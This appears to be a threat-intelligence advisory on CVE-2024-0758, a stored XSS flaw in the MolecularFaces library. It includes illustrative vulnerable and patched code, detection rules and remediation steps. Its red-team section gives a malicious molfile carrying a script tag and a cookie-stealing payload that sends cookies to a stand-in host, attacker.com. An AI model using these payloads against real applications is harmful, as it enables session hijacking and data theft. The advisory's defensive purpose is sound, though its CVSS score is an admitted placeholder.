CVE-2024-0758

Executive Summary

CVE-2024-0758 is a stored cross-site scripting (XSS) vulnerability in MolecularFaces, a Java-based molecular visualization library. The flaw exists in versions prior to 0.3.0, where crafted molfiles can inject arbitrary JavaScript into the application context. When a victim views a malicious molfile, the script executes in their browser, enabling session hijacking, data theft, or further attacks. The vulnerability has a CVSS score of 0.0 (placeholder) and no public exploit code or EPSS activity, but the risk is elevated for any application using MolecularFaces to render user-supplied molfiles.

Supply Chain & Package Security

MolecularFaces is distributed as a Java library (JAR) via Maven Central. Organizations using this library in web applications must verify they are not bundling a vulnerable version (< 0.3.0). The package is not available on NPM, PyPI, Go, or Ruby registries.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (placeholder – actual score likely 6.1 Medium based on typical XSS)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must view the malicious molfile)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium – Exploitation requires user interaction, but no authentication is needed to deliver the payload.

Deep Dive & Mechanics

The vulnerability resides in how MolecularFaces processes molfile data. Molfiles are text-based chemical structure files that can contain metadata fields. In versions before 0.3.0, the library does not sanitize or escape user-controlled content within these fields before rendering them in the browser. An attacker can craft a molfile with a malicious payload in a field such as the comment or description, which is then rendered as HTML/JavaScript.

Attack Flow:

1. Attacker creates a molfile containing <script>alert(document.cookie)</script> in a metadata field.
2. The attacker uploads or shares this molfile with a victim via an application using MolecularFaces.
3. The victim’s browser renders the molfile, executing the injected script.
4. The script can steal cookies, redirect the user, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable (pre-0.3.0):

// Example of unsanitized rendering
public String renderMolfile(String molfile) {
    // Directly embed molfile content into HTML
    return "<div class='molfile'>" + molfile + "</div>";
}

Patched (0.3.0+):

// Example of sanitized rendering
import org.owasp.encoder.Encode;

public String renderMolfile(String molfile) {
    // Encode HTML entities to prevent XSS
    return "<div class='molfile'>" + Encode.forHtml(molfile) + "</div>";
}

The patch introduces proper HTML encoding of molfile content before rendering, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites: A web application using MolecularFaces < 0.3.0 that accepts molfile uploads.

Step 1: Craft Malicious Molfile Create a file named malicious.mol with the following content:

  Mrv0541 01232416572D          
  0  0  0     0  0            999 V3000
M  V30 BEGIN CTAB
M  V30 COUNTS 0 0 0 0 0
M  V30 BEGIN ATOM
M  V30 END ATOM
M  V30 BEGIN BOND
M  V30 END BOND
M  V30 END CTAB
M  END
> <script>alert('XSS')</script>

Step 2: Upload and Trigger Upload the file to the vulnerable application. When any user views the uploaded molfile, the script executes.

Step 3: Advanced Payload Replace the script with a cookie stealer:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection: Monitor for unusual molfile uploads containing <script> tags or other HTML/JavaScript patterns. Use the YARA rule below to scan uploaded files.

Prevention:

• Implement input validation to reject molfiles containing HTML tags.
• Use Content Security Policy (CSP) headers to restrict script execution.
• Upgrade to MolecularFaces 0.3.0 or later.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): None available (no known malicious samples).
• Network Patterns: Outbound HTTP requests to attacker-controlled domains from the application server.
• Log Entries: [WARN] Potential XSS payload detected in molfile upload from IP <attacker_ip>
• File Artifacts: Molfiles containing <script>, onerror, onload, or javascript: in metadata fields.

Detection Engineering

YARA Rule

rule CVE_2024_0758_MolecularFaces_XSS {
    meta:
        description = "Detects malicious molfiles targeting CVE-2024-0758"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-0758"
    strings:
        $xss1 = /<script[^>]*>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
        $molfile = "V3000" nocase
    condition:
        $molfile and any of ($xss*)
}

Sigma Rule

title: CVE-2024-0758 MolecularFaces XSS Detection
id: 8a3f7c2e-1b4d-4e5f-9a0b-6c7d8e9f0a1b
status: experimental
description: Detects upload of molfiles containing XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: POST
        http.url: '*/upload*'
        http.body|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in molfile metadata (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-0758 MolecularFaces XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade to MolecularFaces 0.3.0 or later.
2. If upgrade is not possible, implement a Web Application Firewall (WAF) rule to block molfiles containing HTML tags.
3. Apply input validation to reject molfiles with <, >, or javascript: patterns.

Long-term:

• Conduct a security audit of all third-party libraries.
• Implement Content Security Policy (CSP) headers.
• Train developers on secure coding practices for XSS prevention.

Patch Details: Upgrade to version 0.3.0, which includes proper HTML encoding of molfile content.

Valters IT
DevSecOps & Cyber Threat Intelligence